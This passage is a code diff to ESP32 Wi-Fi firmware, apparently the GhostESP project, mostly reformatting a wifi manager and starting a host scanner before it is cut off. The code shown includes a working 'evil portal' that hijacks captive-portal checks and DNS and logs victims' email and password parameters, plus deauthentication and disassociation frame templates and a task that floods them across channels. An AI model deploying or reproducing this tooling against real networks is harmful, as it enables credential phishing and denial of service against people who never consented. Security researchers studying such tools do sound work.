", err_msg); + snprintf( + error_message, sizeof(error_message), + "

Failed to fetch portal content

Error: %s

", + err_msg); httpd_resp_set_type(req, "text/html"); httpd_resp_send(req, error_message, strlen(error_message)); @@ -634,7 +612,7 @@ esp_err_t get_log_handler(httpd_req_t *req) { return ESP_FAIL; } - const char* resp_str = "Body content logged successfully"; + const char *resp_str = "Body content logged successfully"; httpd_resp_send(req, resp_str, strlen(resp_str)); return ESP_OK; @@ -645,11 +623,9 @@ esp_err_t get_info_handler(httpd_req_t *req) { char email[64] = {0}; char password[64] = {0}; - if (httpd_req_get_url_query_str(req, query, sizeof(query)) == ESP_OK) { printf("Received query: %s\n", query); - if (get_query_param_value(query, "email", email, sizeof(email)) == ESP_OK) { char decoded_email[64] = {0}; url_decode(decoded_email, email); @@ -658,7 +634,6 @@ esp_err_t get_info_handler(httpd_req_t *req) { printf("Email parameter not found\n"); } - if (get_query_param_value(query, "password", password, sizeof(password)) == ESP_OK) { char decoded_password[64] = {0}; url_decode(decoded_password, password); @@ -671,8 +646,7 @@ esp_err_t get_info_handler(httpd_req_t *req) { printf("No query string found in request\n"); } - - const char* resp_str = "Query parameters processed"; + const char *resp_str = "Query parameters processed"; httpd_resp_send(req, resp_str, strlen(resp_str)); return ESP_OK; @@ -686,102 +660,67 @@ esp_err_t captive_portal_redirect_handler(httpd_req_t *req) { return ESP_OK; } - - if (strstr(get_content_type(req->uri), "application/octet-stream") == NULL) - { + if (strstr(get_content_type(req->uri), "application/octet-stream") == NULL) { file_handler(req); return ESP_OK; } - + httpd_resp_set_status(req, "301 Moved Permanently"); char LocationRedir[512]; - snprintf(LocationRedir, sizeof(LocationRedir), - "http://192.168.4.1/login"); + snprintf(LocationRedir, sizeof(LocationRedir), "http://192.168.4.1/login"); httpd_resp_set_hdr(req, "Location", LocationRedir); httpd_resp_send(req, NULL, 0); return ESP_OK; } - httpd_handle_t start_portal_webserver(void) { httpd_config_t config = HTTPD_DEFAULT_CONFIG(); config.stack_size = 8192; if (httpd_start(&evilportal_server, &config) == ESP_OK) { httpd_uri_t portal_uri = { - .uri = "/login", - .method = HTTP_GET, - .handler = portal_handler, - .user_ctx = NULL - }; - httpd_uri_t portal_uri_android = { - .uri = "/generate_204", - .method = HTTP_GET, - .handler = captive_portal_redirect_handler, - .user_ctx = NULL - }; - httpd_uri_t portal_uri_apple = { - .uri = "/hotspot-detect.html", - .method = HTTP_GET, - .handler = captive_portal_redirect_handler, - .user_ctx = NULL - }; - httpd_uri_t microsoft_uri = { - .uri = "/connecttest.txt", - .method = HTTP_GET, - .handler = captive_portal_redirect_handler, - .user_ctx = NULL - }; + .uri = "/login", .method = HTTP_GET, .handler = portal_handler, .user_ctx = NULL}; + httpd_uri_t portal_uri_android = {.uri = "/generate_204", + .method = HTTP_GET, + .handler = captive_portal_redirect_handler, + .user_ctx = NULL}; + httpd_uri_t portal_uri_apple = {.uri = "/hotspot-detect.html", + .method = HTTP_GET, + .handler = captive_portal_redirect_handler, + .user_ctx = NULL}; + httpd_uri_t microsoft_uri = {.uri = "/connecttest.txt", + .method = HTTP_GET, + .handler = captive_portal_redirect_handler, + .user_ctx = NULL}; httpd_uri_t log_handler_uri = { - .uri = "/api/log", - .method = HTTP_POST, - .handler = get_log_handler, - .user_ctx = NULL - }; + .uri = "/api/log", .method = HTTP_POST, .handler = get_log_handler, .user_ctx = NULL}; httpd_uri_t portal_png = { - .uri = ".png", - .method = HTTP_GET, - .handler = file_handler, - .user_ctx = NULL - }; + .uri = ".png", .method = HTTP_GET, .handler = file_handler, .user_ctx = NULL}; httpd_uri_t portal_jpg = { - .uri = ".jpg", - .method = HTTP_GET, - .handler = file_handler, - .user_ctx = NULL - }; + .uri = ".jpg", .method = HTTP_GET, .handler = file_handler, .user_ctx = NULL}; httpd_uri_t portal_css = { - .uri = ".css", - .method = HTTP_GET, - .handler = file_handler, - .user_ctx = NULL - }; + .uri = ".css", .method = HTTP_GET, .handler = file_handler, .user_ctx = NULL}; httpd_uri_t portal_js = { - .uri = ".js", - .method = HTTP_GET, - .handler = file_handler, - .user_ctx = NULL - }; + .uri = ".js", .method = HTTP_GET, .handler = file_handler, .user_ctx = NULL}; httpd_register_uri_handler(evilportal_server, &portal_uri_apple); httpd_register_uri_handler(evilportal_server, &portal_uri); httpd_register_uri_handler(evilportal_server, &portal_uri_android); httpd_register_uri_handler(evilportal_server, µsoft_uri); httpd_register_uri_handler(evilportal_server, &log_handler_uri); - httpd_register_uri_handler(evilportal_server, &portal_png); httpd_register_uri_handler(evilportal_server, &portal_jpg); httpd_register_uri_handler(evilportal_server, &portal_css); httpd_register_uri_handler(evilportal_server, &portal_js); - httpd_register_err_handler(evilportal_server, HTTPD_404_NOT_FOUND, captive_portal_redirect_handler); + httpd_register_err_handler(evilportal_server, HTTPD_404_NOT_FOUND, + captive_portal_redirect_handler); } return evilportal_server; } -esp_err_t wifi_manager_start_evil_portal(const char *URL, const char *SSID, const char *Password, const char* ap_ssid, const char* domain) -{ +esp_err_t wifi_manager_start_evil_portal(const char *URL, const char *SSID, const char *Password, + const char *ap_ssid, const char *domain) { - if (strlen(URL) > 0 && strlen(domain) > 0) - { + if (strlen(URL) > 0 && strlen(domain) > 0) { PORTALURL = URL; domain_str = domain; } @@ -795,37 +734,32 @@ esp_err_t wifi_manager_start_evil_portal(const char *URL, const char *SSID, cons esp_netif_ip_info_t ipInfo_ap; ipInfo_ap.ip.addr = my_ap_ip; ipInfo_ap.gw.addr = my_ap_ip; - esp_netif_set_ip4_addr(&ipInfo_ap.netmask, 255,255,255,0); + esp_netif_set_ip4_addr(&ipInfo_ap.netmask, 255, 255, 255, 0); esp_netif_dhcps_stop(wifiAP); // stop before setting ip WifiAP esp_netif_set_ip_info(wifiAP, &ipInfo_ap); esp_netif_dhcps_start(wifiAP); - wifi_config_t wifi_config = { 0 }; - wifi_config_t ap_config = { - .ap = { - .channel = 0, - .authmode = WIFI_AUTH_WPA2_WPA3_PSK, - .ssid_hidden = 0, - .max_connection = 8, - .beacon_interval = 100, - } - }; + wifi_config_t wifi_config = {0}; + wifi_config_t ap_config = {.ap = { + .channel = 0, + .authmode = WIFI_AUTH_WPA2_WPA3_PSK, + .ssid_hidden = 0, + .max_connection = 8, + .beacon_interval = 100, + }}; - if (SSID != NULL || Password != NULL) - { - strlcpy((char*)wifi_config.sta.ssid, SSID, sizeof(wifi_config.sta.ssid)); - strlcpy((char*)wifi_config.sta.password, Password, sizeof(wifi_config.sta.password)); + if (SSID != NULL || Password != NULL) { + strlcpy((char *)wifi_config.sta.ssid, SSID, sizeof(wifi_config.sta.ssid)); + strlcpy((char *)wifi_config.sta.password, Password, sizeof(wifi_config.sta.password)); + strlcpy((char *)ap_config.sta.ssid, ap_ssid, sizeof(ap_config.sta.ssid)); + ap_config.ap.authmode = WIFI_AUTH_OPEN; - strlcpy((char*)ap_config.sta.ssid, ap_ssid, sizeof(ap_config.sta.ssid)); - ap_config.ap.authmode = WIFI_AUTH_OPEN; - - ESP_ERROR_CHECK(esp_wifi_set_mode(WIFI_MODE_APSTA) ); - - + ESP_ERROR_CHECK(esp_wifi_set_mode(WIFI_MODE_APSTA)); dhcps_offer_t dhcps_dns_value = OFFER_DNS; - esp_netif_dhcps_option(wifiAP,ESP_NETIF_OP_SET, ESP_NETIF_DOMAIN_NAME_SERVER, &dhcps_dns_value, sizeof(dhcps_dns_value)); + esp_netif_dhcps_option(wifiAP, ESP_NETIF_OP_SET, ESP_NETIF_DOMAIN_NAME_SERVER, + &dhcps_dns_value, sizeof(dhcps_dns_value)); dnsserver.ip.u_addr.ip4.addr = esp_ip4addr_aton("192.168.4.1"); dnsserver.ip.type = ESP_IPADDR_TYPE_V4; @@ -833,15 +767,15 @@ esp_err_t wifi_manager_start_evil_portal(const char *URL, const char *SSID, cons vTaskDelay(pdMS_TO_TICKS(100)); - ESP_ERROR_CHECK(esp_wifi_set_config(ESP_IF_WIFI_STA, &wifi_config) ); + ESP_ERROR_CHECK(esp_wifi_set_config(ESP_IF_WIFI_STA, &wifi_config)); ESP_ERROR_CHECK(esp_wifi_start()); vTaskDelay(pdMS_TO_TICKS(500)); esp_wifi_connect(); - xEventGroupWaitBits(wifi_event_group, WIFI_CONNECTED_BIT, - pdFALSE, pdTRUE, 5000 / portTICK_PERIOD_MS); + xEventGroupWaitBits(wifi_event_group, WIFI_CONNECTED_BIT, pdFALSE, pdTRUE, + 5000 / portTICK_PERIOD_MS); - ESP_ERROR_CHECK(esp_wifi_set_config(ESP_IF_WIFI_AP, &ap_config) ); + ESP_ERROR_CHECK(esp_wifi_set_config(ESP_IF_WIFI_AP, &ap_config)); start_portal_webserver(); @@ -849,23 +783,11 @@ esp_err_t wifi_manager_start_evil_portal(const char *URL, const char *SSID, cons dns_server_config_t dns_config = { .num_of_entries = 3, .item = { - { - .name = "*", - .if_key = NULL, - .ip = { .addr = ESP_IP4TOADDR(192, 168, 4, 1)} - }, - { - .name = "ghostesp", - .if_key = NULL, - .ip = { .addr = ESP_IP4TOADDR(192, 168, 4, 1)} - }, - { - .name = "ghostesp.local", - .if_key = NULL, - .ip = { .addr = ESP_IP4TOADDR(192, 168, 4, 1)} - } - } - }; + {.name = "*", .if_key = NULL, .ip = {.addr = ESP_IP4TOADDR(192, 168, 4, 1)}}, + {.name = "ghostesp", .if_key = NULL, .ip = {.addr = ESP_IP4TOADDR(192, 168, 4, 1)}}, + {.name = "ghostesp.local", + .if_key = NULL, + .ip = {.addr = ESP_IP4TOADDR(192, 168, 4, 1)}}}}; // Start DNS server dns_handle = start_dns_server(&dns_config); @@ -877,24 +799,21 @@ esp_err_t wifi_manager_start_evil_portal(const char *URL, const char *SSID, cons } // Configure DHCP to offer our DNS server - esp_netif_dhcps_option(wifiAP, ESP_NETIF_OP_SET, ESP_NETIF_DOMAIN_NAME_SERVER, - &dhcps_dns_value, sizeof(dhcps_dns_value)); + esp_netif_dhcps_option(wifiAP, ESP_NETIF_OP_SET, ESP_NETIF_DOMAIN_NAME_SERVER, + &dhcps_dns_value, sizeof(dhcps_dns_value)); // Set DNS server info - esp_netif_dns_info_t dns_info = { - .ip.u_addr.ip4.addr = ESP_IP4TOADDR(192, 168, 4, 1), - .ip.type = ESP_IPADDR_TYPE_V4 - }; + esp_netif_dns_info_t dns_info = {.ip.u_addr.ip4.addr = ESP_IP4TOADDR(192, 168, 4, 1), + .ip.type = ESP_IPADDR_TYPE_V4}; esp_netif_set_dns_info(wifiAP, ESP_NETIF_DNS_MAIN, &dns_info); - } - else - { + } else { ESP_ERROR_CHECK(esp_wifi_set_mode(WIFI_MODE_AP)); - strlcpy((char*)ap_config.sta.ssid, ap_ssid, sizeof(ap_config.sta.ssid)); + strlcpy((char *)ap_config.sta.ssid, ap_ssid, sizeof(ap_config.sta.ssid)); ap_config.ap.authmode = WIFI_AUTH_OPEN; dhcps_offer_t dhcps_dns_value = OFFER_DNS; - esp_netif_dhcps_option(wifiAP,ESP_NETIF_OP_SET, ESP_NETIF_DOMAIN_NAME_SERVER, &dhcps_dns_value, sizeof(dhcps_dns_value)); + esp_netif_dhcps_option(wifiAP, ESP_NETIF_OP_SET, ESP_NETIF_DOMAIN_NAME_SERVER, + &dhcps_dns_value, sizeof(dhcps_dns_value)); dnsserver.ip.u_addr.ip4.addr = esp_ip4addr_aton("192.168.4.1"); dnsserver.ip.type = ESP_IPADDR_TYPE_V4; @@ -908,15 +827,7 @@ esp_err_t wifi_manager_start_evil_portal(const char *URL, const char *SSID, cons dns_server_config_t dns_config = { .num_of_entries = 1, - .item = { - { - .name = "*", - .if_key = NULL, - .ip = { .addr = ESP_IP4TOADDR(192, 168, 4, 1)} - } - } - }; - + .item = {{.name = "*", .if_key = NULL, .ip = {.addr = ESP_IP4TOADDR(192, 168, 4, 1)}}}}; dns_handle = start_dns_server(&dns_config); if (dns_handle) { @@ -926,21 +837,17 @@ esp_err_t wifi_manager_start_evil_portal(const char *URL, const char *SSID, cons } } - return ESP_OK; // Add return value at the end + return ESP_OK; // Add return value at the end } +void wifi_manager_stop_evil_portal() { -void wifi_manager_stop_evil_portal() -{ - - if (dns_handle != NULL) - { + if (dns_handle != NULL) { stop_dns_server(dns_handle); dns_handle = NULL; } - if (evilportal_server != NULL) - { + if (evilportal_server != NULL) { httpd_stop(evilportal_server); evilportal_server = NULL; } @@ -950,31 +857,28 @@ void wifi_manager_stop_evil_portal() ap_manager_init(); } - void wifi_manager_start_monitor_mode(wifi_promiscuous_cb_t_t callback) { - + ESP_ERROR_CHECK(esp_wifi_set_mode(WIFI_MODE_NULL)); - ESP_ERROR_CHECK(esp_wifi_set_promiscuous(true)); - ESP_ERROR_CHECK(esp_wifi_set_promiscuous_rx_cb(callback)); - printf("WiFi monitor mode started.\n"); - TERMINAL_VIEW_ADD_TEXT("WiFi monitor mode started.\n"); + printf("WiFi monitor started.\n"); + TERMINAL_VIEW_ADD_TEXT("WiFi monitor started.\n"); } void wifi_manager_stop_monitor_mode() { ESP_ERROR_CHECK(esp_wifi_set_promiscuous(false)); - printf("WiFi monitor mode stopped.\n"); - TERMINAL_VIEW_ADD_TEXT("WiFi monitor mode stopped.\n"); + printf("WiFi monitor stopped.\n"); + TERMINAL_VIEW_ADD_TEXT("WiFi monitor stopped.\n"); } void wifi_manager_init(void) { - esp_log_level_set("wifi", ESP_LOG_ERROR); // Only show errors, not warnings - + esp_log_level_set("wifi", ESP_LOG_ERROR); // Only show errors, not warnings + esp_wifi_set_ps(WIFI_PS_NONE); esp_err_t ret = nvs_flash_init(); @@ -992,31 +896,29 @@ void wifi_manager_init(void) { // Initialize WiFi with default settings wifi_init_config_t cfg = WIFI_INIT_CONFIG_DEFAULT(); - ESP_ERROR_CHECK(esp_wifi_init(&cfg)); // Create the WiFi event group wifi_event_group = xEventGroupCreate(); // Register the event handler for WiFi events - ESP_ERROR_CHECK(esp_event_handler_instance_register(WIFI_EVENT, ESP_EVENT_ANY_ID, &wifi_event_handler, NULL, NULL)); - ESP_ERROR_CHECK(esp_event_handler_instance_register(IP_EVENT, IP_EVENT_STA_GOT_IP, &wifi_event_handler, NULL, NULL)); - + ESP_ERROR_CHECK(esp_event_handler_instance_register(WIFI_EVENT, ESP_EVENT_ANY_ID, + &wifi_event_handler, NULL, NULL)); + ESP_ERROR_CHECK(esp_event_handler_instance_register(IP_EVENT, IP_EVENT_STA_GOT_IP, + &wifi_event_handler, NULL, NULL)); // Set WiFi mode to STA (station) ESP_ERROR_CHECK(esp_wifi_set_mode(WIFI_MODE_APSTA)); // Configure the SoftAP settings wifi_config_t ap_config = { - .ap = { - .ssid = "", - .ssid_len = strlen(""), - .password = "", - .channel = 1, - .authmode = WIFI_AUTH_OPEN, - .max_connection = 4, - .ssid_hidden = 1 - }, + .ap = {.ssid = "", + .ssid_len = strlen(""), + .password = "", + .channel = 1, + .authmode = WIFI_AUTH_OPEN, + .max_connection = 4, + .ssid_hidden = 1}, }; // Apply the AP configuration @@ -1035,31 +937,22 @@ void wifi_manager_init(void) { void wifi_manager_start_scan() { ap_manager_stop_services(); - TERMINAL_VIEW_ADD_TEXT("Stopped AP Manager...\n"); - ESP_ERROR_CHECK(esp_wifi_set_mode(WIFI_MODE_STA)); ESP_ERROR_CHECK(esp_wifi_start()); - TERMINAL_VIEW_ADD_TEXT("Set Wifi Modes...\n"); - wifi_scan_config_t scan_config = { .ssid = NULL, .bssid = NULL, - .channel = 0, + .channel = 0, .show_hidden = true, - .scan_time = { - .active.min = 450, - .active.max = 500, - .passive = 500 - } - }; + .scan_time = {.active.min = 450, .active.max = 500, .passive = 500}}; - rgb_manager_set_color(&rgb_manager, 0, 50, 255, 50, false); - printf("WiFi scanning started...\n"); + printf("WiFi Scan started\n"); printf("Please wait 5 Seconds...\n"); - TERMINAL_VIEW_ADD_TEXT("WiFi scanning started...\n"); + TERMINAL_VIEW_ADD_TEXT("WiFi Scan started\n"); + TERMINAL_VIEW_ADD_TEXT("Please wait 5 Seconds...\n"); esp_err_t err = esp_wifi_scan_start(&scan_config, true); if (err != ESP_OK) { @@ -1068,50 +961,52 @@ void wifi_manager_start_scan() { return; } - wifi_manager_stop_scan(); ESP_ERROR_CHECK(esp_wifi_stop()); ESP_ERROR_CHECK(ap_manager_start_services()); } - // Stop scanning for networks void wifi_manager_stop_scan() { esp_err_t err; err = esp_wifi_scan_stop(); - if (err != ESP_OK) { + if (err == ESP_ERR_WIFI_NOT_STARTED) { + + // commented out for now because it's cleaner without and stop commands send this when not + // really needed + + /*printf("WiFi scan was not active.\n"); + TERMINAL_VIEW_ADD_TEXT("WiFi scan was not active.\n"); */ + + return; + } else if (err != ESP_OK) { printf("Failed to stop WiFi scan: %s\n", esp_err_to_name(err)); TERMINAL_VIEW_ADD_TEXT("Failed to stop WiFi scan\n"); return; } - wifi_manager_stop_monitor_mode(); - - rgb_manager_set_color(&rgb_manager, 0, 0, 0, 0, false); - uint16_t initial_ap_count = 0; err = esp_wifi_scan_get_ap_num(&initial_ap_count); if (err != ESP_OK) { printf("Failed to get AP count: %s\n", esp_err_to_name(err)); - TERMINAL_VIEW_ADD_TEXT( "Failed to get AP count: %s\n", esp_err_to_name(err)); + TERMINAL_VIEW_ADD_TEXT("Failed to get AP count: %s\n", esp_err_to_name(err)); return; } - printf("Initial AP count: %u\n", initial_ap_count); - TERMINAL_VIEW_ADD_TEXT("Initial AP count: %u\n", initial_ap_count); + // only print AP count once, no need for both "Initial" and "Actual" + printf("Found %u access points\n", initial_ap_count); + TERMINAL_VIEW_ADD_TEXT("Found %u access points\n", initial_ap_count); if (initial_ap_count > 0) { - if (scanned_aps != NULL) { free(scanned_aps); scanned_aps = NULL; } - scanned_aps = calloc(initial_ap_count, sizeof(wifi_ap_record_t)); if (scanned_aps == NULL) { printf("Failed to allocate memory for AP info\n"); @@ -1119,7 +1014,6 @@ void wifi_manager_stop_scan() { return; } - uint16_t actual_ap_count = initial_ap_count; err = esp_wifi_scan_get_ap_records(&actual_ap_count, scanned_aps); if (err != ESP_OK) { @@ -1131,15 +1025,10 @@ void wifi_manager_stop_scan() { } ap_count = actual_ap_count; - printf("Actual AP count retrieved: %u\n", ap_count); - TERMINAL_VIEW_ADD_TEXT("Actual AP count retrieved: %u\n", ap_count); } else { printf("No access points found\n"); ap_count = 0; } - - printf("WiFi scanning stopped.\n"); - TERMINAL_VIEW_ADD_TEXT("WiFi scanning stopped.\n"); } void wifi_manager_list_stations() { @@ -1151,54 +1040,54 @@ void wifi_manager_list_stations() { printf("Listing all stations and their associated APs:\n"); for (int i = 0; i < station_count; i++) { - printf( - "Station MAC: %02X:%02X:%02X:%02X:%02X:%02X\n" - " -> AP BSSID: %02X:%02X:%02X:%02X:%02X:%02X\n", - station_ap_list[i].station_mac[0], station_ap_list[i].station_mac[1], station_ap_list[i].station_mac[2], - station_ap_list[i].station_mac[3], station_ap_list[i].station_mac[4], station_ap_list[i].station_mac[5], - station_ap_list[i].ap_bssid[0], station_ap_list[i].ap_bssid[1], station_ap_list[i].ap_bssid[2], - station_ap_list[i].ap_bssid[3], station_ap_list[i].ap_bssid[4], station_ap_list[i].ap_bssid[5] - ); + printf("Station MAC: %02X:%02X:%02X:%02X:%02X:%02X\n" + " -> AP BSSID: %02X:%02X:%02X:%02X:%02X:%02X\n", + station_ap_list[i].station_mac[0], station_ap_list[i].station_mac[1], + station_ap_list[i].station_mac[2], station_ap_list[i].station_mac[3], + station_ap_list[i].station_mac[4], station_ap_list[i].station_mac[5], + station_ap_list[i].ap_bssid[0], station_ap_list[i].ap_bssid[1], + station_ap_list[i].ap_bssid[2], station_ap_list[i].ap_bssid[3], + station_ap_list[i].ap_bssid[4], station_ap_list[i].ap_bssid[5]); } -} +} static bool check_packet_rate(void) { uint32_t current_time = esp_timer_get_time() / 1000; // Convert to milliseconds - + // Reset counter every second if (current_time - last_packet_time >= 1000) { packet_counter = 0; last_packet_time = current_time; return true; } - + // Check if we've exceeded our rate limit if (packet_counter >= MAX_PACKETS_PER_SECOND) { return false; } - + packet_counter++; return true; } static const uint8_t deauth_packet_template[26] = { - 0xc0, 0x00, // Frame Control - 0x3a, 0x01, // Duration - 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, // Destination addr - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // Source addr - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // BSSID - 0x00, 0x00, // Sequence number - 0x07, 0x00 // Reason code: Class 3 frame received from nonassociated STA + 0xc0, 0x00, // Frame Control + 0x3a, 0x01, // Duration + 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, // Destination addr + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // Source addr + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // BSSID + 0x00, 0x00, // Sequence number + 0x07, 0x00 // Reason code: Class 3 frame received from nonassociated STA }; static const uint8_t disassoc_packet_template[26] = { - 0xa0, 0x00, // Frame Control (only first byte different) - 0x3a, 0x01, // Duration - 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, // Destination addr - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // Source addr - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // BSSID - 0x00, 0x00, // Sequence number - 0x07, 0x00 // Reason code + 0xa0, 0x00, // Frame Control (only first byte different) + 0x3a, 0x01, // Duration + 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, // Destination addr + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // Source addr + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // BSSID + 0x00, 0x00, // Sequence number + 0x07, 0x00 // Reason code }; esp_err_t wifi_manager_broadcast_deauth(uint8_t bssid[6], int channel, uint8_t mac[6]) { @@ -1226,7 +1115,7 @@ esp_err_t wifi_manager_broadcast_deauth(uint8_t bssid[6], int channel, uint8_t m // Set destination (target) memcpy(&deauth_frame[4], mac, 6); memcpy(&disassoc_frame[4], mac, 6); - + // Set source and BSSID (AP) memcpy(&deauth_frame[10], bssid, 6); memcpy(&deauth_frame[16], bssid, 6); @@ -1257,10 +1146,10 @@ esp_err_t wifi_manager_broadcast_deauth(uint8_t bssid[6], int channel, uint8_t m // If not broadcast, send reverse direction if (!is_broadcast) { // Swap addresses for Station -> AP direction - memcpy(&deauth_frame[4], bssid, 6); // Set destination as AP - memcpy(&deauth_frame[10], mac, 6); // Set source as station - memcpy(&deauth_frame[16], mac, 6); // Set BSSID as station - + memcpy(&deauth_frame[4], bssid, 6); // Set destination as AP + memcpy(&deauth_frame[10], mac, 6); // Set source as station + memcpy(&deauth_frame[16], mac, 6); // Set BSSID as station + memcpy(&disassoc_frame[4], bssid, 6); memcpy(&disassoc_frame[10], mac, 6); memcpy(&disassoc_frame[16], mac, 6); @@ -1309,9 +1198,9 @@ void wifi_deauth_task(void *param) { } while (1) { - if (strlen((const char*)selected_ap.ssid) > 0) { + if (strlen((const char *)selected_ap.ssid) > 0) { for (int i = 0; i < ap_count; i++) { - if (strcmp((char*)ap_info[i].ssid, (char*)selected_ap.ssid) == 0) { + if (strcmp((char *)ap_info[i].ssid, (char *)selected_ap.ssid) == 0) { for (int y = 1; y < 12; y++) { uint8_t broadcast_mac[] = {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}; wifi_manager_broadcast_deauth(ap_info[i].bssid, y, broadcast_mac); @@ -1335,7 +1224,6 @@ void wifi_deauth_task(void *param) { } } - void wifi_manager_start_deauth() { if (!beacon_task_running) { printf("Starting deauth transmission...\n"); @@ -1352,47 +1240,43 @@ void wifi_manager_start_deauth() { } } -void wifi_manager_select_ap(int index) -{ - +void wifi_manager_select_ap(int index) { + if (ap_count == 0) { printf("No access points found\n"); TERMINAL_VIEW_ADD_TEXT("No access points found\n"); return; } - if (scanned_aps == NULL) { printf("No AP info available (scanned_aps is NULL)\n"); TERMINAL_VIEW_ADD_TEXT("No AP info available (scanned_aps is NULL)\n"); return; } - if (index < 0 || index >= ap_count) { printf("Invalid index: %d. Index should be between 0 and %d\n", index, ap_count - 1); - TERMINAL_VIEW_ADD_TEXT("Invalid index: %d. Index should be between 0 and %d\n", index, ap_count - 1); + TERMINAL_VIEW_ADD_TEXT("Invalid index: %d. Index should be between 0 and %d\n", index, + ap_count - 1); return; } - + selected_ap = scanned_aps[index]; - printf("Selected Access Point: SSID: %s, BSSID: %02X:%02X:%02X:%02X:%02X:%02X\n", - selected_ap.ssid, - selected_ap.bssid[0], selected_ap.bssid[1], selected_ap.bssid[2], - selected_ap.bssid[3], selected_ap.bssid[4], selected_ap.bssid[5]); - - TERMINAL_VIEW_ADD_TEXT("Selected Access Point: SSID: %s, BSSID: %02X:%02X:%02X:%02X:%02X:%02X\n", - selected_ap.ssid, - selected_ap.bssid[0], selected_ap.bssid[1], selected_ap.bssid[2], - selected_ap.bssid[3], selected_ap.bssid[4], selected_ap.bssid[5]); + selected_ap.ssid, selected_ap.bssid[0], selected_ap.bssid[1], selected_ap.bssid[2], + selected_ap.bssid[3], selected_ap.bssid[4], selected_ap.bssid[5]); + + TERMINAL_VIEW_ADD_TEXT( + "Selected Access Point: SSID: %s, BSSID: %02X:%02X:%02X:%02X:%02X:%02X\n", selected_ap.ssid, + selected_ap.bssid[0], selected_ap.bssid[1], selected_ap.bssid[2], selected_ap.bssid[3], + selected_ap.bssid[4], selected_ap.bssid[5]); printf("Selected Access Point Successfully\n"); TERMINAL_VIEW_ADD_TEXT("Selected Access Point Successfully\n"); } -#define MAX_PAYLOAD 64 +#define MAX_PAYLOAD 64 #define UDP_PORT 6677 #define TRACK_NAME_LEN 32 #define ARTIST_NAME_LEN 32 @@ -1409,7 +1293,6 @@ void screen_music_visualizer_task(void *pvParameters) { dest_addr.sin_port = htons(UDP_PORT); dest_addr.sin_addr.s_addr = htonl(INADDR_ANY); - int sock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP); if (sock < 0) { printf("Unable to create socket: errno %d\n", errno); @@ -1435,18 +1318,17 @@ void screen_music_visualizer_task(void *pvParameters) { struct sockaddr_in6 source_addr; socklen_t socklen = sizeof(source_addr); - int len = recvfrom(sock, rx_buffer, sizeof(rx_buffer) - 1, 0, (struct sockaddr *)&source_addr, &socklen); + int len = recvfrom(sock, rx_buffer, sizeof(rx_buffer) - 1, 0, + (struct sockaddr *)&source_addr, &socklen); if (len < 0) { printf("recvfrom failed: errno %d\n", errno); break; } - rx_buffer[len] = '\0'; - if (len >= TRACK_NAME_LEN + ARTIST_NAME_LEN + NUM_BARS) { - + memcpy(track_name, rx_buffer, TRACK_NAME_LEN); track_name[TRACK_NAME_LEN] = '\0'; @@ -1455,7 +1337,7 @@ void screen_music_visualizer_task(void *pvParameters) { memcpy(amplitudes, rx_buffer + TRACK_NAME_LEN + ARTIST_NAME_LEN, NUM_BARS); -#ifdef WITH_SCREEN +#ifdef WITH_SCREEN music_visualizer_view_update(amplitudes, track_name, artist_name); #endif } else { @@ -1472,8 +1354,7 @@ void screen_music_visualizer_task(void *pvParameters) { vTaskDelete(NULL); } -void animate_led_based_on_amplitude(void *pvParameters) -{ +void animate_led_based_on_amplitude(void *pvParameters) { char rx_buffer[128]; char addr_str[128]; int addr_family = AF_INET; @@ -1518,7 +1399,8 @@ void animate_led_based_on_amplitude(void *pvParameters) amplitude = fmaxf(0.0f, fminf(amplitude, 1.0f)); // Clamp between 0.0 and 1.0 // Smooth amplitude to avoid sudden changes (optional) - amplitude = (smoothing_factor * amplitude) + ((1.0f - smoothing_factor) * last_amplitude); + amplitude = + (smoothing_factor * amplitude) + ((1.0f - smoothing_factor) * last_amplitude); last_amplitude = amplitude; } else { // Gradually decrease amplitude when no data is received @@ -1529,10 +1411,8 @@ void animate_led_based_on_amplitude(void *pvParameters) // Ensure amplitude doesn't go below zero amplitude = fmaxf(0.0f, amplitude); - hue = (int)(amplitude * 360) % 360; - float h = hue / 60.0f; float s = 1.0f; float v = amplitude; @@ -1545,19 +1425,42 @@ void animate_led_based_on_amplitude(void *pvParameters) float r = 0.0f, g = 0.0f, b = 0.0f; switch (i) { - case 0: r = v; g = t; b = p; break; - case 1: r = q; g = v; b = p; break; - case 2: r = p; g = v; b = t; break; - case 3: r = p; g = q; b = v; break; - case 4: r = t; g = p; b = v; break; - case 5: r = v; g = p; b = q; break; + case 0: + r = v; + g = t; + b = p; + break; + case 1: + r = q; + g = v; + b = p; + break; + case 2: + r = p; + g = v; + b = t; + break; + case 3: + r = p; + g = q; + b = v; + break; + case 4: + r = t; + g = p; + b = v; + break; + case 5: + r = v; + g = p; + b = q; + break; } uint8_t red = (uint8_t)(r * 255); uint8_t green = (uint8_t)(g * 255); uint8_t blue = (uint8_t)(b * 255); - esp_err_t ret = rgb_manager_set_color(&rgb_manager, 0, red, green, blue, false); if (ret != ESP_OK) { printf("Failed to set color\n"); @@ -1573,6 +1476,453 @@ void animate_led_based_on_amplitude(void *pvParameters) } } +#define START_HOST 1 +#define END_HOST 254 +#define SCAN_TIMEOUT_MS 100 +#define HOST_TIMEOUT_MS 100 +#define WIFI_CONNECTED_BIT BIT0 +#define WIFI_FAIL_BIT BIT1 +#define MAX_OPEN_PORTS 64 + +uint16_t calculate_checksum(uint16_t *addr, int len) { + int nleft = len; + uint32_t sum = 0; + uint16_t *w = addr; + uint16_t answer = 0; + + while (nleft > 1) { + sum += *w++; + nleft -= 2; + } + + if (nleft == 1) { + *(unsigned char *)(&answer) = *(unsigned char *)w; + sum += answer; + } + + sum = (sum >> 16) + (sum & 0xFFFF); + sum += (sum >> 16); + answer = ~sum; + return answer; +} + +bool get_subnet_prefix(scanner_ctx_t *ctx) { + esp_netif_t *netif = esp_netif_get_handle_from_ifkey("WIFI_STA_DEF"); + if (!netif) { + printf("Failed to get WiFi 